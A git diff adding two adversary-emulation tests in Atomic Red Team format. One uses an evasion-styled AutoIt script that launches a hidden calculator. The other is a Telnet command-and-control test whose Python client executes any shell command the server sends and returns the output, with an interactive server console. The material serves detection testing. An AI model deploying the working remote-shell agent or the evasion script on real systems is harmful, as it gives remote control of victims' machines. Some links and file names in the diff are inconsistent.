diff --git a/atomics/T1059/T1059.md b/atomics/T1059/T1059.md new file mode 100644 index 00000000..a0819123 --- /dev/null +++ b/atomics/T1059/T1059.md @@ -0,0 +1,55 @@ +# T1059 - Command and Scripting Interpreter +## [Description from ATT&CK](https://attack.mitre.org/techniques/T1059/) +
Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell.
+ +## Atomic Tests + +- [Atomic Test #1 - AutoIt suspicious script](#atomic-test-1---autoit) + + +
+ +## Atomic Test #1 - AutoIt Script Execution +An adversary may attempt to execute suspicious or malicious script using AutoIt software instead of regular terminal like powershell or cmd. Calculator will popup when the script is executed successfully. + +**Supported Platforms:** Windows + + +**auto_generated_guid:** a9b93f17-31cb-435d-a462-5e838a2a6026 + + + + +#### Inputs: +| Name | Description | Type | Default Value | +|------|-------------|------|---------------| +| script_path | AutoIt Script Path | path | PathToAtomicsFolder\T1059\src\calc.au3 | +| autoit_path | AutoIt Executable File Path | path | C:\Program Files (x86)\AutoIt3\AutoIt3.exe | + + +#### Attack Commands: Run with `powershell`! + + +```cmd +Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}" -Wait +``` + +#### Dependencies: Run with `powershell`! +##### Description: AutoIt executable file must exist on disk at the specified location (#{autoit_path}) +##### Check Prereq Commands: +```powershell +if(Test-Path "#{autoit_path}") {exit 0} else {exit 1} +``` +##### Get Prereq Commands: +```powershell +New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null +$AutoItURL = "https://www.autoitscript.com/cgi-bin/getfile.pl?autoit3/autoit-v3-setup.exe" +$InstallerPath = "$PathToAtomicsFolder\..\ExternalPayloads\autoit-v3-setup.exe" +Invoke-WebRequest -Uri $AutoItURL -OutFile $InstallerPath +Start-Process -FilePath $InstallerPath -ArgumentList "/S" -Wait +``` + + + +
+
diff --git a/atomics/T1059/T1059.yaml b/atomics/T1059/T1059.yaml new file mode 100644 index 00000000..ec338e81 --- /dev/null +++ b/atomics/T1059/T1059.yaml @@ -0,0 +1,38 @@ +attack_technique: T1059 +display_name: 'Command and Scripting Interpreter' +atomic_tests: +- name: AutoIt Script Execution + auto_generated_guid: a9b93f17-31cb-435d-a462-5e838a2a6026 + description: | + An adversary may attempt to execute suspicious or malicious script using AutoIt software instead of regular terminal like powershell or cmd. Calculator will popup when the script is executed successfully. + supported_platforms: + - windows + dependency_executor_name: powershell + dependencies: + - description: | + AutoIt executable file must exist on disk at the specified location (#{autoit_path}) + prereq_command: | + if(Test-Path "#{autoit_path}") { + exit 0 + } else { + exit 1 + } + get_prereq_command: | + New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null + $AutoItURL = "https://www.autoitscript.com/cgi-bin/getfile.pl?autoit3/autoit-v3-setup.exe" + $InstallerPath = "$PathToAtomicsFolder\..\ExternalPayloads\autoit-v3-setup.exe" + Invoke-WebRequest -Uri $AutoItURL -OutFile $InstallerPath + Start-Process -FilePath $InstallerPath -ArgumentList "/S" -Wait + input_arguments: + script_path: + description: AutoIt Script Path + type: path + default: PathToAtomicsFolder\T1059\src\calc.au3 + autoit_path: + description: AutoIt Executable File Path + type: path + default: C:\Program Files (x86)\AutoIt3\AutoIt3.exe + executor: + command: | + Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}" + name: powershell diff --git a/atomics/T1059/src/calc.au3 b/atomics/T1059/src/calc.au3 new file mode 100644 index 00000000..d2d984c6 --- /dev/null +++ b/atomics/T1059/src/calc.au3 @@ -0,0 +1,34 @@ +; This script demonstrates obfuscation techniques and suspicious behaviors + +; Hide the AutoIt window +#NoTrayIcon + +; Delay execution to avoid detection +Sleep(2000) + +; Randomize variable names and function calls to evade static analysis +Local $s = "calc" +Local $x = "o" +Local $y = "i" +Local $z = "e" +Local $t = "r" +Local $a = "c" +Local $b = "t" +Local $c = "x" +Local $d = "e" +Local $e = "u" +Local $f = "a" +Local $g = "s" + +; Create variables to store command strings +Local $command1 = $s & $x & $y & $z & $t & $a & $b & $c & $d & $e & $f & $g +Local $command2 = $s & $t & $y & $a & $c & $t + +; Mimic the launch of a potentially malicious process +Run("powershell -Command ""Start-Process -FilePath 'calc.exe' -WindowStyle Hidden""", "", @SW_HIDE) + +; Generate random delays between commands to avoid pattern detection +Sleep(Random(1000, 3000)) + +; Exit the script to avoid further detection +Exit diff --git a/atomics/T1071/T1071.md b/atomics/T1071/T1071.md new file mode 100644 index 00000000..c6efcdac --- /dev/null +++ b/atomics/T1071/T1071.md @@ -0,0 +1,60 @@ +# T1071 - Application Layer Protocol +## [Description from ATT&CK](https://attack.mitre.org/techniques/T1059/) +
Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
+ +## Atomic Tests + +- [Atomic Test #1 - Telnet C2](#atomic-test-1---autoit) + + +
+ +## Atomic Test #1 - Telnet C2 +An adversary may establish telnet communication from compromised endpoint to command and control (C2) server to be able to operate more attack on objectives. + +**Supported Platforms:** Windows + + +**auto_generated_guid:** 3b0df731-030c-4768-b492-2a3216d90e53 + + + + +#### Inputs: +| Name | Description | Type | Default Value | +|------|-------------|------|---------------| +| server_ip | C2 server IP or URL | url | localhost | +| server_port | C2 server port | number | 23 | +| client_path | Path to telnet agent | path | PathToAtomicsFolder\T1071\bin\telnet_client.exe | + + +#### Attack Commands: Run with `powershell`! + + +```cmd +.\#{client_path} #{server_ip} --port #{server_port} +``` + +#### Dependencies Run with `powershell`!: + +##### Description: Command and Control (C2) server cam be established by running PathToAtomicsFolder\T1071\bin\telnet_server.exe on specified server with specified IP that must be reachable by client (telnet_client.exe) + +with Python file +```powershell +PathToAtomicsFolder\T1071\src\telnet_server.py server_ip --port port_number +``` + +with executable file +```powershell +PathToAtomicsFolder\T1071\bin\telnet_server.exe server_ip --port port_number +``` + +##### Check Prereq Commands: +```powershell +$connection = Test-NetConnection -ComputerName #{server_ip} -Port #{server_port} +if ($connection.TcpTestSucceeded) {exit 0} else {exit 1} +``` + + +
+
diff --git a/atomics/T1071/T1071.yaml b/atomics/T1071/T1071.yaml new file mode 100644 index 00000000..995d672c --- /dev/null +++ b/atomics/T1071/T1071.yaml @@ -0,0 +1,35 @@ +attack_technique: T1071 +display_name: 'Application Layer Protocol' +atomic_tests: +- name: Telnet C2 + auto_generated_guid: 3b0df731-030c-4768-b492-2a3216d90e53 + description: | + An adversary may establish telnet communication from compromised endpoint to command and control (C2) server to be able to operate more attack on objectives. + supported_platforms: + - windows + dependency_executor_name: powershell + dependencies: + - description: | + Command and Control (C2) server cam be established by running PathToAtomicsFolder\T1071\bin\telnet_server.exe on specified server with specified IP that must be reachable by client (telnet_client.exe) + prereq_command: | + $connection = Test-NetConnection -ComputerName #{server_ip} -Port #{server_port} + if ($connection.TcpTestSucceeded) {exit 0} else {exit 1} + get_prereq_command: | + Write-Host "Setup C2 server manually" + input_arguments: + server_ip: + description: C2 server IP or URL + type: url + default: 127.0.0.1 # Replace "example.com" with the actual IP or URL + client_path: + description: Client agent path + type: url + default: PathToAtomicsFolder\T1071\bin\telnet_client.exe # Update the path if needed + server_port: + description: C2 server port + type: Integer + default: 23 + executor: + command: | + #{client_path} #{server_ip} --port #{server_port} + name: powershell diff --git a/atomics/T1071/bin/telnet_client.exe b/atomics/T1071/bin/telnet_client.exe new file mode 100644 index 00000000..de6d3f35 Binary files /dev/null and b/atomics/T1071/bin/telnet_client.exe differ diff --git a/atomics/T1071/bin/telnet_server.exe b/atomics/T1071/bin/telnet_server.exe new file mode 100644 index 00000000..b1fe9bd9 Binary files /dev/null and b/atomics/T1071/bin/telnet_server.exe differ diff --git a/atomics/T1071/src/client.py b/atomics/T1071/src/client.py new file mode 100644 index 00000000..d0ce7d03 --- /dev/null +++ b/atomics/T1071/src/client.py @@ -0,0 +1,44 @@ +import argparse +import asyncio +import telnetlib3 + +async def shell(reader, writer): + while True: + # Read command from the server + command = await reader.read(1024) + if not command: + # End of File + break + + # Execute the command using asyncio.create_subprocess_shell + process = await asyncio.create_subprocess_shell(command, + stdout=asyncio.subprocess.PIPE, + stderr=asyncio.subprocess.PIPE) + output, error = await process.communicate() + print(f"Receive command: {command}") + + # Check if output is empty + if not output: + result = b"ok" + else: + result = output + + # Send the result back to the server + writer.write(result.decode()) + + # Flush the writer to ensure data is sent immediately + await writer.drain() + +def main(server_ip, port): + loop = asyncio.get_event_loop() + coro = telnetlib3.open_connection(server_ip, port, shell=shell) + reader, writer = loop.run_until_complete(coro) + loop.run_until_complete(writer.protocol.waiter_closed) + +if __name__ == "__main__": + parser = argparse.ArgumentParser(description="Telnet client") + parser.add_argument("server_ip", help="IP address of the server") + parser.add_argument("--port", type=int, default=23, help="Port number (default: 23)") + args = parser.parse_args() + + main(args.server_ip, args.port) diff --git a/atomics/T1071/src/server.py b/atomics/T1071/src/server.py new file mode 100644 index 00000000..24259c57 --- /dev/null +++ b/atomics/T1071/src/server.py @@ -0,0 +1,92 @@ +import argparse +import socket + +def main(host, port): + # Create a socket object + server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + + # Bind the socket to the host and port + server_socket.bind((host, port)) + + # Listen for incoming connections + server_socket.listen(1) + + print('Server listening on {}:{}'.format(host, port)) + + while True: + try: + # Accept incoming connections + client_socket, client_address = server_socket.accept() + print('Connection established with {}:{}'.format(client_address[0], client_address[1])) + + # Send Telnet negotiation + client_socket.sendall(b"\xFF\xFB\x01") # Telnet WILL option 01 (echo) + client_socket.sendall(b"\xFF\xFD\x03") # Telnet DO option 03 (suppress go ahead) + + # Send a blank string immediately after the client connects + client_socket.sendall(b"") + + command = "" + client_socket.sendall(command.encode()) + + # Receive output from the client + output = client_socket.recv(65536) + + # Print output (decode if it's command data) + try: + print("Output from client:", output.decode()) + except UnicodeDecodeError: + print("Output from client:", output) + + command = "" + client_socket.sendall(command.encode()) + + # Receive output from the client + output = client_socket.recv(65536) + + # Print output (decode if it's command data) + try: + print("Output from client:", output.decode()) + except UnicodeDecodeError: + print("Output from client:", output) + + while True: + while True: + command = input("Enter command to execute on client: ") + if command.strip(): + break + else: + print("Command cannot be empty. Please try again.") + + # Send command to the client + client_socket.sendall(command.encode()) + + # Check for exit command + if command.lower() == "exit": + break + + # Receive output from the client + output = client_socket.recv(65536) + + # Print output (decode if it's command data) + try: + print("Output from client:", output.decode()) + except UnicodeDecodeError: + print("Output from client:", output) + + # Close the connection + client_socket.close() + except ConnectionAbortedError: + print("Connection aborted by the client.") + continue + except ConnectionResetError: + print("Connection reset by the client.") + continue + +if __name__ == "__main__": + parser = argparse.ArgumentParser(description="Telnet server") + parser.add_argument("host", help="Host IP address") + parser.add_argument("--port", type=int, default=23, help="Port number (default: 23)") + args = parser.parse_args() + + main(args.host, args.port)